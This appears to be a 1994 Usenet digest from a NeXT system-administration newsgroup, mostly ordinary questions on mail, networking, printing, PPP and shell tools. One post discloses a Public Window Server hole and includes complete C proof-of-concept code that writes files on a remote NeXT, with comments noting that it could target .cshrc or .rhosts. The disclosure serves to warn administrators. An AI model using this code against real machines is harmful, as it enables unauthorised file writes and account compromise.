may want to go into my mailboxes "NeXT" and "forsale."
Very easy with appnmail (remember, it will take any number of
Mailboxes as arguments). Under Mail.app, just transfer the message
and do an undelete -- voila, two copies.
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: shayman@Objectario.com (Steve Hayman)
Subject: Re: How to Organizing Mailboxes?
Message-ID: <1994Mar9.053053.327@objectario.com>
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Date: Wed, 9 Mar 1994 05:30:53 GMT
> But of course the interesting feature would be to have one message
> assigned to 2 mailboxes. For example, a NeXT computer advertised for sale
> may want to go into my mailboxes "NeXT" and "forsale."
I didn't realize that this was possible until I tried it just now but - you
can copy and paste messages inside Mail.app. So you could easily
make a 2nd copy of an interesting mail message, and save each copy
in a different mailbox.
Also, let me put in a plug for MailSearch.app by Bill Romine, which you
can find on the archives. This will hunt through your various mailboxes
and track down messages by looking for keywords. I don't use it
too often but when I do, it's really handy.
Also also, a lot of people don't know this but you can use Librarian
to organize your mailboxes - sort of. Drag a folder - let's say
"Notes" - into Librarian, select it, go to Target > Inspector and
the Services popup, and select "Jot in". Now when you see an interesting
message in Mail, you can choose Services > Librarian > Jot Message in Notes,
and it will copy the message and attachments to your Notes folder and
index it. You can then delete the message from your mailbox, and
use Librarian as an archive of old messages.
This works very nicely except that you have to take a specific action
to index a message. It would be nice if it could happen by default.
(I have heard rumours that Mail.app in 3.3 will allow you to
search mailboxes, so these tricks may not be necessary.)
Hope this helps,
Steve
---
Steve Hayman shayman@Objectario.com
Steve Hayman & Associates, Toronto, Ontario
(416) 769-8995 NeXTSTEP Consulting
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to Organizing Mailboxes?
Date: 9 Mar 1994 09:36:36 -0000
Organization: me organised, that's a joke.
Message-ID: <2lk5b4$1l6@steffi.demon.co.uk>
References: <2lj4a9$t88@news.mic.ucla.edu> <1994Mar9.053053.327@objectario.com>
shayman@Objectario.com (Steve Hayman) wrote in comp.sys.next.sysadmin
>> But of course the interesting feature would be to have one message
>> assigned to 2 mailboxes. For example, a NeXT computer advertised for sale
>> may want to go into my mailboxes "NeXT" and "forsale."
>
>I didn't realize that this was possible until I tried it just now but - you
>can copy and paste messages inside Mail.app. So you could easily
>make a 2nd copy of an interesting mail message, and save each copy
>in a different mailbox.
Yes you can do that.
>
>Also, let me put in a plug for MailSearch.app by Bill Romine, which you
>can find on the archives. This will hunt through your various mailboxes
>and track down messages by looking for keywords. I don't use it
>too often but when I do, it's really handy.
>
>Also also, a lot of people don't know this but you can use Librarian
>to organize your mailboxes - sort of. Drag a folder - let's say
>"Notes" - into Librarian, select it, go to Target > Inspector and
>the Services popup, and select "Jot in". Now when you see an interesting
>message in Mail, you can choose Services > Librarian > Jot Message in Notes,
>and it will copy the message and attachments to your Notes folder and
>index it. You can then delete the message from your mailbox, and
>use Librarian as an archive of old messages.
Will Mail.app still read the message though? It's important that you
can _act_ on stored messages. ie. reply to them at a later date should
you decided to.
The best solution at the moment is procmail with Carl's
mailapp-utilities for filtering mail based on keyword criteria.
>
>This works very nicely except that you have to take a specific action
>to index a message. It would be nice if it could happen by default.
>(I have heard rumours that Mail.app in 3.3 will allow you to
>search mailboxes, so these tricks may not be necessary.)
I think you could probably use ixbuild and .ittype files and
automatically index your mailboxes with Procmail.
>
>Hope this helps,
>Steve
>
>
>---
>Steve Hayman shayman@Objectario.com
> Steve Hayman & Associates, Toronto, Ontario
>(416) 769-8995 NeXTSTEP Consulting
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: jcruz@animal.inescn.pt (Jose Manuel de Magalhaes Cruz)
Subject: Communication Problems with (some) Nexts
Message-ID: <CME8tB.J2G@animal.inescn.pt>
Keywords: Communication, en0, collisions
Organization: INESC-Porto, Portugal
Date: Wed, 9 Mar 1994 10:51:09 GMT
Hello
We have 6 Nexts in our working room, together with 1 Sun
Sparcstation 2. Every machine got along with each other just fine, as
well as
with the several tens of other machines in our network (192.35.246).
Until another Sun (a Sparserver 10) arrived.
Every next (EXCEPT one), has difficulties communicating with the
newly arrived Sun (approximately 50% of the packets exchanged is lost,
and
collisions are detected). Communications with every other hosts in the
network continues fine, and the new Sun also communicates well with
them.
The curious point is that, as I said, one of the Nexts has no
problems
talking with the new Sun!
How about that?
If anybody has a clue to what migth be causing this strange
behavior,
I sure would appreciate his/her help.
Some relevant information:
* Both Suns run SunOs 4.1.3 (at the moment; will change soon)
and are
configured similarly;
* "hostinfo" output of Next that is Ok:
---
Mach kernel version:
NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992;
root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K
Kernel configured for a single processor only.
1 processor is physically available.
Processor type: MC680x0 (68040)
Processor speed: 25 MHz
Processor active: 0
System type: 2
Board revision: 0x0
Primary memory available: 16.00 megabytes.
Default processor set: 62 tasks, 99 threads, 1 processors
Load average: 0.01, Mach factor: 0.98
---
* "hostinfo" output of some other Nexts (differences):
---
Processor speed: 33 MHz
Processor active: 0
System type: 5
Board revision: 0xf
Primary memory available: 16.00 megabytes.
...
---
Processor speed: 33 MHz
Processor active: 0
System type: 8
Board revision: 0xf
Primary memory available: 32.00 megabytes.
...
Processor speed: 33 MHz
Processor active: 0
System type: 4
Board revision: 0xf
Primary memory available: 16.00 megabytes.
---
* ping and netstat and were used to analyse the problem:
** "ping -s Next" running in Sun;
"netstat -I en0 2" running in Next detects collisions;
"netstat -s" runned in Next, reports that every icmp Echo was
Replyed (but approximately only half of the number of Echos sent were
seen!)
** "ping Sun" running in Next;
"netstat -I ie0 2" running in Sun, DO NOT!
"netstat -s" runned in Sun, reports that every icmp Echo was
Replyed (and every Echo is seen)
* It seems to be of a low or hardware level (Board revision?).
________________________________________________________________
J. Magalhaes Cruz jmcruz@micas.inescn.pt
INESC-Porto Tel. +351 2 321006 (ext. 4016)
Lg. Mompilher, 22 Telex 23023 INESC P
4007 Porto Codex Fax +351 2 318692
PORTUGAL
_________________________________________________________________
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From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: Cursed Postscript: Preview+print yes, lpr no.
Message-ID: <9CPMBHGP@gwdu03.gwdg.de>
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References: <2lh9kf$ml7@network.ucsd.edu>
Date: Wed, 9 Mar 1994 12:06:57 GMT
alevine@ucsd.edu wrote:
> the NeXT. Preview.app displays and prints the files just fine, with only
> the usual initial complaint about the cntl-D Windows postscript puts at
> the beginning of its dumps. I thought the problem might be a flakey
> freeware ftp client on the pc side, but an attempt to lpr the same files
> locally on the NeXT produces the same garbage results.
Hi, as lpr can't print the file, Preview seems to add something to the
postscript, correct? why don't you Print==>Save the file and diff?
Then you know, what the file misses...
Just an idea, Stephan
--
trebels@theo-phys.gwdg.de
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From: fozztexx@nvc.cc.ca.us (Chris Osborn)
Subject: Re: SLIP and Routing
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Date: Mon, 7 Mar 1994 22:06:41 GMT
In article <CM4CBE.nF@nvc.cc.ca.us>,
Chris Osborn <fozztexx@nvc.cc.ca.us> wrote:
>Also, how do I go the other way, convincing the server to route
>outbound packets that came in from the Ethernet to go out over the
>SLIP?
I was able to get it to partially route for me. I went in to
HostManager and set the routing for the server to Dynamic. I also had
to change each host on the net so that "default" points to the SLIP
server.
But now I can't get talk to work correctly. If I do a talk from the
server to the client, I get paged like I would expect. But if I do a
talk from the client to the server, no connection is ever started. I
can see that the client got the server to start up ntalkd, but no
packets ever come back from ntalkd. This also means that after I get
paged on the client, I can't establish a connection to whoever has
paged me.
--
Chris Osborn, Network Administrator Voice: 707 253 3130
Napa Valley College Fax: 707 253 3063
fozztexx@nvc.cc.ca.us
fozztexx@groucho.sonoma.edu MIME/NeXTMail ok at both
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: -NXHost danger (Re: Shadow Passwords)
Date: 9 Mar 1994 15:08:56 GMT
Organization: University of California, Berkeley
Distribution: world
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In article <jeffo.763162630@uiuc.edu> jeffo@uiuc.edu (J.B. Nicholson-Owens) writes:
>Serge J. Goldstein writes:
>
>>At the recent NeXT Developer conference, I asked about NeXT's plans for
>>improving security (e.g., kerberos, better control over NXHost, etc.). The
>>response was, in brief, "our customers haven't asked for that, so we're not
>>doing it". Here's a chance for customers to ask! If you care about having
>>plain-text passwords broadcast all over your network, chime in!
>
>I've read people's request for these things for a *long* time. I've
>come to the conclusion that it's not that NeXT's customers haven't
>asked for it, it's that NeXT is being selective in what customers they
>want to listen to. The customers who have spent the most on NeXT
>haven't asked for it (even though they probably should). This doesn't
>mean that NeXT shouldn't or couldn't put in security-improving
>features without a request from their largest customers.
I am posting this in the hope that some of those largest customers
will take some action. I sent the program below to NeXT and CERT before
3.0 was released asking for finer grain control for -NXHost (Public
Window Server) connections. Nothing happened for almost 2 years.
Surely, waiting for 2 years should be long enough.
I will get flamed for posting this, but if you leave the Public
Window Server on all the time, this is what you are exposed to.
Turn off the PWS switch in Preferences.
Warn your users. Run scripts nightly which resets all user's
PWS switch to OFF position, i.e.,
"dwrite System PublicWindowServer No" for all users.
All flames will be ignored.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
-----------------------------------------------------------------
/*
writeremote.c [modified for Release 3.x]
This program demonstrates a big security hole through which anyone with a NeXT
on the Internet can penetrate into other NeXT's that has a user logged in with
"Public Window Server" enabled. You don't need to have an account on the
remote machine.
To compile:
cc -o writeremote writeremote.c -s -lNeXT_s -lsys_s
Usage:
writeremote hostname
hostname -- hostname of the machine where a user is logged in at
the console and has Public Window Server turned on.
It will write a waring message into /tmp/console.log on remotehost.
A portion of code from (Release 2.1):
/NextLibrary/Documentation/NextDev/Notes/MakingAppsFly/ListingsForNXWindowServerMemory.rtf
is used.
*/
#import <stdio.h>
#import <strings.h>
#import <stdlib.h>
#import <appkit/appkit.h>
#define STATUSLENGTH 200 /* Some large number for error string length */
/*
* Ugly function to write PostScript error.
*/
void WritePostScriptError (char *errStr, int errStrLength, NXHandler *errorState)
{
char *streamAddr;
int streamLength, maxLength;
NXStream *errorStream;
if ((errorState->code == dps_err_ps) &&
(errorStream = NXOpenMemory (NULL, 0, NX_WRITEONLY))) {
DPSPrintErrorToStream (errorStream, (DPSBinObjSeq)(errorState->data2));
NXFlush (errorStream);
NXGetMemoryBuffer (errorStream, &streamAddr, &streamLength, &maxLength);
if (streamLength > errStrLength-1) streamLength = errStrLength-1;
strncpy (errStr, streamAddr, streamLength);
errStr[streamLength] = 0;
NXCloseMemory (errorStream, NX_FREEBUFFER);
} else {
sprintf (errStr, "A non-PostScript error while running program.");
}
}
/* Alert message to write to remote host's /tmp/console.log file, the
* content of which may be examined by Workspace's Tools->Console menu.
*/
static char *message =
"\nSecurity Alert\n\
This message has been written from a remote host via\n\
NeXT Public Window Server security hole. Setting the\n\
Public Window Server switch means that anyone with a NeXT\n\
on the Internet can write to or wipe out your files.\n\
Writing to /tmp/console.log is harmless, but imagine\n\
consequences of commands written to your ~/.cshrc.\n";
int WriteRemoteFile(char *remotehost)
{
DPSContext context;
NXHandler exception;
char status[STATUSLENGTH]; /* Array for error messages */
exception.code = 0;
NX_DURING {
context = (DPSContext)DPSCreateNonsecureContext(remotehost, NULL, NULL, NULL,
60000, NXCreateZone(vm_page_size*2, vm_page_size, 1));
if(context == NULL)
fprintf(stderr, "Cannot create DPS connection to %s.\n", remotehost);
DPSSetContext (context);
/* This writes a message to /tmp/console.log on target.
* The file may well be /Users/someone/.login or .rhosts which are
* writable because we will be writing as "someone" who owns the files.
*/
DPSPrintf(context,"(/tmp/console.log) (a) file\n");
DPSPrintf(context,"dup (%s) writestring\n", message);
DPSPrintf(context,"dup flushfile closefile\n");
/* Call DPSWaitContext to be sure we're really done. */
DPSWaitContext(context);
NXPing(); /* seems redundant but doesn't work without it */
DPSDestroyContext(context);
} NX_HANDLER {
exception = NXLocalHandler; /* Make note of the error... */
} NX_ENDHANDLER
if (exception.code != 0) {
WritePostScriptError (status, STATUSLENGTH, &exception);
fprintf(stderr,"%s\n", status);
if(exception.code == 1108) {
fprintf(stderr," No console user is on remote host <%s>\n", remotehost);
fprintf(stderr," or the console user's PublicWindowServer switch is OFF.\n");
}
if(context) DPSDestroyContext(context);
}
else {
printf("The following message has been written to\n");
printf("/tmp/console.log file of remotehost: %s\n",remotehost);
printf("%s\n\n", message);
printf("Tell the remote user at the console to look at the console\n");
printf("messages via Workspace's menu: Tools->Console.\n");
}
return(0);
}
main(int argc, char *argv[])
{
if(argc != 2) {
printf("Usage: writeremote hostname\n");
printf("This program demonstrates a NeXT Public Window Server security hole.\n");
printf("Any NeXT on the Internet will be able to read/write/create files on\n");
printf("your machine where *you* have permissions, practically anywhere\n");
printf("and any file in your home directory.\n\n");
printf("hostname -- hostname of the machine where a user is logged in at\n");
printf(" the console and has Public Window Server turned on.\n");
printf("It will write a warning message into /tmp/console.log on remotehost.\n");
printf("Imagine consequences of commands written to remote user's ~/.cshrc.\n");
exit(1);
}
WriteRemoteFile(argv[1]);
}
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From: fms@chemelex .com (Fred Schenkelberg)
Subject: nextmail to decmail, not sending
Message-ID: <CMCuoK.KK@chemelex.com>
Sender: fms@chemelex.com (Fred Schenkelberg)
Organization: Research Group of Chemelex Division of Raychem Corporation
Distribution: ba,na,usa,world
Date: Tue, 8 Mar 1994 16:48:20 GMT
Hi, well it use to work just fine. I have NeXT cube connected to
a vax using decmail, I use Ki Research's product call openDNA,
which allows me to send a receive mail to and from the vax, plus
act like a dec node on the network.
The problem is that after upgrading to 3.2, within sendmail, or
somewhere else, I lost the ability to send mail to addresses on
the vax (ie <vax hostname>::<username>). Ki has tried and been
unable to find a fix. I don't know enough about sendmail, unix,
or the vax's decmail to know where to start.
anyone got a working link between a next and vax runing decmail?
Any ideas on how to debug this?
thanks, Fred
--
Fred Schenkelberg
From: gloger@dbulm1.uucp (Jochen Gloger)
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: sed and tar help needed
Message-ID: <1994Mar9.173302.604@dbulm1.uucp>
Date: 9 Mar 94 17:33:02 +0100
Organization: Daimler-Benz, Forschungszentrum Ulm
Hi,
I have two problems concerning pure UNIX.
1. How can I force the substitute command in sed to look for an
extended-ASCII-character described as a three digit octal number? For example,
the German city name Luebeck (here written without the umlauts) is written in
DEC-multinational character code as
L\374beck (emacs writing style)
I want to transform this word into NeXT-keymapping, namely
L\366beck. (emacs writing style)
Since I have to this with a lot of files, I can't use Edit or Emacs with the
tr command, but I was not very successful to persuade sed to do this task. The
following sed command did not work:
s/\374/\366/
So, what can I do?
2. Imaging a list of file names provided for instance by a UNIX "find"
command. Now I want to put this file list into a tar pipe, to copy these files
to another location, but this did not work, also.
Here are my trials:
a) <filelist provided by find> | tar cf - | (cd toAnotherLocation; tar xf -)
Not a correct syntax
b) <filelist provided by find> | tar cf - . | (cd toAnotherLocation; tar xf -)
Does not care about "filelist"
c) tar cf - `<filelist provided by find>` | (cd toAnotherLocation; tar xf -)
tar: arglist too long
d) xargs tar cf - `<filelist provided by find>` | (cd toAnotherLocation; tar
xf -)
xargs: arglist too long
Thanks in advance for any help
Kind regards
Jochen Gloger
===============================================================================
Jochen Gloger, Daimler-Benz AG, Research Center Ulm,
Institute of Information Technology, Department of Text Understanding
Phone: +49 731 505 2353, Fax: +49 731 505 4113
Address: Wilhelm-Runge-Str.11, P.O. Box 23 60, 89013 Ulm, Germany
Email: unido.uucp!dbulm1!gloger OR
gloger%dbulm1.uucp@germany.eu.net
===============================================================================
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From: lmccullo@nyx10.cs.du.edu (Michael McCulloch)
Subject: Re: Silence on serial comm. (fixed in 3.2?)
Message-ID: <1994Mar9.161840.530@mnemosyne.cs.du.edu>
of Denver for the Denver community. The University has neither
control over nor responsibility for the opinions of users.
Sender: usenet@mnemosyne.cs.du.edu (netnews admin account)
Organization: Nyx, Public Access Unix at U. of Denver Math/CS dept.
References: <CMB4JM.K1E@rdcalr.realdec.com>
Date: Wed, 9 Mar 94 16:18:40 GMT
In article <CMB4JM.K1E@rdcalr.realdec.com>,
Dean Banfield <dean@rdcalr.realdec.com> wrote:
> Some time ago there was much noise about the general failure of the
> serial port drivers at high speeds. System panics and the like occurred
> regularly on white hardware. I grabbed the serial driver update that
> Next placed on orst (they did so under fire), and it improved things
> a bit, but I had since given up on my UUCP dreams and resorted to
> occasionaly use of the Microphone Pro demo for brief dial-outs. I use
> tip sometimes as well.
...
> I've had no problems on white hardware over the
> last few years running a FAST Telebit out of an SCO system. Am I hopelessly
> out of touch. Should I get 3.2? Is there a fix for 3.1?
Get the MUX driver v1.4 just submitted to cs.orst.edu
(/pub/next/sources/drivers/MuxDriverSRC1.4.tar.gz). It is a snap to
install if you don't have a serial mouse. I'm not sure if it requires
3.2.
My life with TranSys' PNI was a miserable failure until I installed
the MUX driver. 38400 now actually works on my machine and it doesn't
crash every hour.
Thanks, Mark, for doing it right.
--
Michael McCulloch
michael@hsv.tybrin.com (NextMail Accepted!)
Huntsville, Alabama
From: sela@iastate.edu
Newsgroups: comp.sys.next.sysadmin
Subject: printing defaults
Date: 9 Mar 1994 19:20:56 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2ll7io$obc@news.iastate.edu>
Every time I go to print something, the print panel is set to 400dpi.
Most of the stuff I want to print, I'd rather do 300dpi. How can I set
this so that every time I go to print I don't have to specify 300dpi?
I'm running NS3.1 on black hardware with the NeXT laser printer.
--
*******************IOWA***STATE***UNIVERSITY********************
* Brian Morrison sela@iastate.edu (NeXT Mail welcome!) *
* --------------------------------------------------------- *
* He who throws mud loses ground. *
****************************************************************
From: dlincke@sgcl1.unisg.ch (David-Michael Lincke)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Wanted; SLIP Server for NSI 3.2
Message-ID: <1994Mar9.153816.1580@sgcl1.unisg.ch>
Date: 9 Mar 94 15:38:16 MET
Organization: The VooDoo Club (tm)
Is there a SLIP _Server_ available for NS for Intel 3.2? Shareware or
commercial? Is there a way to use Transys SLIP 1.7beta also as a SLIP server?
Thanks,
David
--
David-Michael Lincke
dlincke@sgcl1.unisg.ch
From: escott@john-parker.ICS.UCI.EDU (Scott Menter)
Subject: New York City: NYSA MEETING 6:15pm MARCH 14th @ MORGAN STANLEY
Message-ID: <9403091101.aa23212@paris.ics.uci.edu>
Newsgroups: comp.org.usenix,comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin,comp.unix.large
Distribution: us
Date: 9 Mar 94 19:01:46 GMT
Followup-to: nysa-request@esm.com
The NEW YORK SYSTEMS ADMINISTRATORS group (NYSA)
...will hold its next meeting on
MONDAY MARCH 14th at 6:15PM.
Come join dozens of other systems administrators from the New
York area who will be getting together to swap war stories, get
help with technical problems of all kinds, and to stay current
on the state of the art in systems and network administration.
In addition to our guest speaker, the meeting will feature a
"Technical Open Forum," where you can ask attendees questions
about technical problems that have you stumped.
Our guest speaker for the evening will be from Box Hill, a NYC
based company that sells storage peripherals to the Unix
workstation market. The topic will be "RAID" (not the bug
spray), and the speaker will introduce some of the issues
surrounding RAID technology and discuss the technical aspects
of how RAID works and why you do or don't need it.
As we discussed at last meeting (I know, I've been remiss in
posting a summary of that meeting), our speaker, though
representing a vendor, will limit himself to technical issues
and leave the marketing stuff aside. Box Hill hasn't said
which of their techies will be speaking, so I can't give you
the name here (but I know both of the possibilities and believe
me, either one will make a very interesting speaker).
We will also be continuing our discussion of organizational
issues, such as how the group should be structured, how often
it should meet, etc. Don't miss out on this chance to be
involved in the early stages of something that's destined for
greatness!
There is no admission charge. Snacks will be served.
Afterwards, if there's enough interest, we will be adjourning
to a local tavern for further refreshment.
LOCATION: Our host once again will be Morgan Stanley, 1251
Avenue Of The Americas, 19th Floor, New York, NY 10020. Morgan
Stanley is between 49th and 50th Streets: use the 50th Street
entrance. Go up to the 19th floor, and signs or an attendant
will guide you to the meeting room. Anybody who attended last
time will tell you that there was plenty of snack food, plenty
of space in the conference room, and in general that Morgan was
a very good host!
See you there!
For more information, please send email to
<nysa-request@esm.com> or call 914/472-3635.
E. Scott Menter nysa-request@esm.com escott@esm.com
President Phone 714-573-4075
Enterprise Systems Management Corporation FAX 714-573-4076
2522 Chambers Road
Tustin CA 92680 < Just borrowing a news-reading account from UCI. >
From: kunkee@sugar.NeoSoft.COM (Randy Kunkee)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Re: Communication Problems with (some) Nexts
Date: 9 Mar 1994 14:32:02 -0600
Organization: NeoSoft Internet Services +1 713 684 5969
Message-ID: <2llbo2$a6e@sugar.NeoSoft.COM>
References: <CME8tB.J2G@animal.inescn.pt>
Keywords: Communication, en0, collisions
In article <CME8tB.J2G@animal.inescn.pt>,
Jose Manuel de Magalhaes Cruz <jcruz@animal.inescn.pt> wrote:
>Hello
>
> We have 6 Nexts in our working room, together with 1 Sun
>Sparcstation 2. Every machine got along with each other just fine, as
>well as
>with the several tens of other machines in our network (192.35.246).
> Until another Sun (a Sparserver 10) arrived.
> Every next (EXCEPT one), has difficulties communicating with the
>newly arrived Sun (approximately 50% of the packets exchanged is lost,
>and
>collisions are detected). Communications with every other hosts in the
>network continues fine, and the new Sun also communicates well with
>them.
>
> The curious point is that, as I said, one of the Nexts has no
>problems
>talking with the new Sun!
>
> How about that?
>
> If anybody has a clue to what migth be causing this strange
>behavior,
>I sure would appreciate his/her help.
>
I almost don't have to see the rest of the details, so I haven't copied
them just to save bandwidth (though I did scan through to make sure).
Anyways, I've seen this problem before, and I suggest that you have a
hardware topology problem. You are probably breaking the rules for
ethernet, ie: too much distance between two nodes, too many repeaters,
not accounting for cable length, or possible a poor connection or high
resistance cable, poor connection somewhere, incorrect spacing between
transceivers, etc. Even if you have a small network, it's possible to
break the rules, and not really have problems until you add another
node. A marginal card *could* be the problem -- if you verify you
have eliminated everything else, I would start swapping cards around.
Actually, the relevant information you need to post is the type of
network (10Base[25T] etc.), are you on your own subnet, how are you
subnetted to the rest of the corporation, ie. repeater, bridge, router,
and if you use fanout boxes instead of transceivers (10Base5 only).
That would help narrow down my list above.
Good luck. I'd offer to come over and help, but the travel expense
would be a killer. :-)
--
Randy Kunkee
Self Employed
713-870-1334
kunkee@sugar.neosoft.com
From: kunkee@sugar.NeoSoft.COM (Randy Kunkee)
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.unix.misc
Subject: Re: sed and tar help needed
Followup-To: comp.unix.misc
Date: 9 Mar 1994 14:37:36 -0600
Organization: NeoSoft Internet Services +1 713 684 5969
Message-ID: <2llc2g$b20@sugar.NeoSoft.COM>
References: <1994Mar9.173302.604@dbulm1.uucp>
In article <1994Mar9.173302.604@dbulm1.uucp>,
Jochen Gloger <gloger@dbulm1.uucp> wrote:
>Hi,
>I have two problems concerning pure UNIX.
>
>1. (DELETED -- I don't know)
>
>2. Imaging a list of file names provided for instance by a UNIX "find"
>command. Now I want to put this file list into a tar pipe, to copy these files
>to another location, but this did not work, also.
>
>Here are my trials:
>
>a) <filelist provided by find> | tar cf - | (cd toAnotherLocation; tar xf -)
>Not a correct syntax
>
>b) <filelist provided by find> | tar cf - . | (cd toAnotherLocation; tar xf -)
>Does not care about "filelist"
>
>c) tar cf - `<filelist provided by find>` | (cd toAnotherLocation; tar xf -)
>tar: arglist too long
>
>d) xargs tar cf - `<filelist provided by find>` | (cd toAnotherLocation; tar
>xf -)
>xargs: arglist too long
>
>
>Thanks in advance for any help
>Kind regards
>Jochen Gloger
>
>===============================================================================
>Jochen Gloger, Daimler-Benz AG, Research Center Ulm,
>Institute of Information Technology, Department of Text Understanding
>Phone: +49 731 505 2353, Fax: +49 731 505 4113
>Address: Wilhelm-Runge-Str.11, P.O. Box 23 60, 89013 Ulm, Germany
>Email: unido.uucp!dbulm1!gloger OR
> gloger%dbulm1.uucp@germany.eu.net
>===============================================================================
>
For number two, you should use cpio:
<filelist provided by find> | cpio -pdmv <toAnotherLocation>
Lookup CPIO.
--
Randy Kunkee
Self Employed
713-870-1334
kunkee@sugar.neosoft.com
From: kunkee@sugar.NeoSoft.COM (Randy Kunkee)
Newsgroups: comp.sys.next.softsys,comp.sys.next.sysadmin
Subject: ppp-0.3 on cs.orst.edu
Date: 9 Mar 1994 15:08:57 -0600
Organization: NeoSoft Internet Services +1 713 684 5969
Message-ID: <2lldt9$iql@sugar.NeoSoft.COM>
First of all, thanks to the (many) people who e-mailed to inform me
that you don't build a kernel on the Next.
Second, I've seen several articles about ppp not compiling and I just
don't see the trouble. At least with my NSI 3.1 eval kit, I can compile
ppp-0.3 just fine. Here's the result of the make:
localhost> rm *.o
localhost> make
cc -O -DDEBUGFSM -DDEBUGLCP -DDEBUGIPCP -DDEBUGUPAP -DBSD=43 -bsd -DLCK_DIR=\"/usr/spool/uucp/LCK\" -c ppp.c
In file included from /NextDeveloper/Headers/ansi/string.h:10, from ppp.c:51:
/NextDeveloper/Headers/bsd/strings.h:23: warning: conflicting types for built-in function `strlen'
ppp.c: In function `main':
ppp.c:536: warning: passing arg 2 of `signal' from incompatible pointer type
ppp.c:537: warning: passing arg 2 of `signal' from incompatible pointer type
cc -O -DDEBUGFSM -DDEBUGLCP -DDEBUGIPCP -DDEBUGUPAP -DBSD=43 -bsd -DLCK_DIR=\"/usr/spool/uucp/LCK\" -c magic.c
cc -O -DDEBUGFSM -DDEBUGLCP -DDEBUGIPCP -DDEBUGUPAP -DBSD=43 -bsd -DLCK_DIR=\"/usr/spool/uucp/LCK\" -c fsm.c
cc -O -DDEBUGFSM -DDEBUGLCP -DDEBUGIPCP -DDEBUGUPAP -DBSD=43 -bsd -DLCK_DIR=\"/usr/spool/uucp/LCK\" -c lcp.c
cc -O -DDEBUGFSM -DDEBUGLCP -DDEBUGIPCP -DDEBUGUPAP -DBSD=43 -bsd -DLCK_DIR=\"/usr/spool/uucp/LCK\" -c ipcp.c
cc -O -DDEBUGFSM -DDEBUGLCP -DDEBUGIPCP -DDEBUGUPAP -DBSD=43 -bsd -DLCK_DIR=\"/usr/spool/uucp/LCK\" -c upap.c
cc -O -DDEBUGFSM -DDEBUGLCP -DDEBUGIPCP -DDEBUGUPAP -DBSD=43 -bsd -DLCK_DIR=\"/usr/spool/uucp/LCK\" -c logwtmp.c
cc -o ppp ppp.o magic.o fsm.o lcp.o ipcp.o upap.o logwtmp.o
cc -O -DDEBUGFSM -DDEBUGLCP -DDEBUGIPCP -DDEBUGUPAP -DBSD=43 -bsd -DLCK_DIR=\"/usr/spool/uucp/LCK\" -c if_ppp.c
/NextDeveloper/2.0CompatibleHeaders/kern/lock.h:1: warning: Compatibility header file imported, use <kernserv/lock.h>
cc -O -DDEBUGFSM -DDEBUGLCP -DDEBUGIPCP -DDEBUGUPAP -DBSD=43 -bsd -DLCK_DIR=\"/usr/spool/uucp/LCK\" -c slcompress.c
kl_ld -n ppp -l Load_Commands.sect -u Unload_Commands.sect -i instance -d ppp_loadable -o ppp_reloc if_ppp.o slcompress.o
localhost>
Anyways, looks pretty good, but I don't have a clue as to how to connect
this up to the OS. Of course, I need to rtfm the bookshelf, but any
pointers would of course be helpful.
--
Randy Kunkee
Self Employed
713-870-1334
kunkee@sugar.neosoft.com
Newsgroups: comp.sys.next.sysadmin
From: melli@cs.sfu.ca (Gabor Melli)
Subject: Need to display message to user's console.
Message-ID: <1994Mar9.210636.22884@cs.sfu.ca>
Organization: Simon Fraser University
Distribution: na
Date: Wed, 9 Mar 1994 21:06:36 GMT
I want to automatically display a message to the console of
a networked NeXT that it is being rebooted.
When I create a simple display application with Interface
Builder I cannot get it to display on the console even as
root?
Thanks.
--Gabor
Systems Developer
School of Computing Science
From: rolfe@ldp.com (Rolfe Tessem)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT nntpServer
Date: 9 Mar 1994 19:26:39 GMT
Organization: Lucky Duck Productions, Inc.
Message-ID: <2ll7tf$af1@daffy.ldp.com>
References: <2lhl7u$3ov@mailer.fsu.edu>
In <2lhl7u$3ov@mailer.fsu.edu>, dekorte@scri.fsu.edu (Steve Dekorte) writes:
>
>Has anyone out there gotten an nntp news server running
>under NeXTstep??? If so, could you please point me in the
>direction of an ftp site with whatever files I need to
>do the same?
We're running INN 1.4, which was brought up without too much of a
struggle. It's available on ftp.uu.net.
--
Rolfe Tessem | Lucky Duck Productions
rolfe@ldp.com | 96 Morton Street
(212) 463-0029 | New York, NY 10014
From: dlincke@sgcl1.unisg.ch (David-Michael Lincke)
Newsgroups: comp.sys.next.sysadmin
Subject: problem setting up dial-in
Message-ID: <1994Mar9.220149.1583@sgcl1.unisg.ch>
Date: 9 Mar 94 22:01:49 MET
Organization: The VooDoo Club (tm)
I'm experiencing a weird problem trying to set up dial in access to a box
running NSI 3.2. I set everything up according to the description in the
NextLibrary:
/etc/ttys:
ttydfa "/usr/etc/getty D9600" dialup on
/etc/gettytab:
j|D9600|Fast-Dial-9600:\
:nx=D2400:tc=9600-baud:
(didn't change enything here)
Whe I connet to the NS box now (8N1), I get prompted with gatbage characters
and what I type is echoed as garbage as well.
in /usr/adm/messages I get the following messages:
Mar 9 21:31:51 limerick mach: ttyscc0: receive error 2 (-900)
Mar 9 21:31:52 limerick mach: ttyscc0: receive error 2 (-901)
Mar 9 21:32:10 limerick last message repeated 12 times
Mar 9 21:32:12 limerick mach: ttyscc0: receive error 2 (-900)
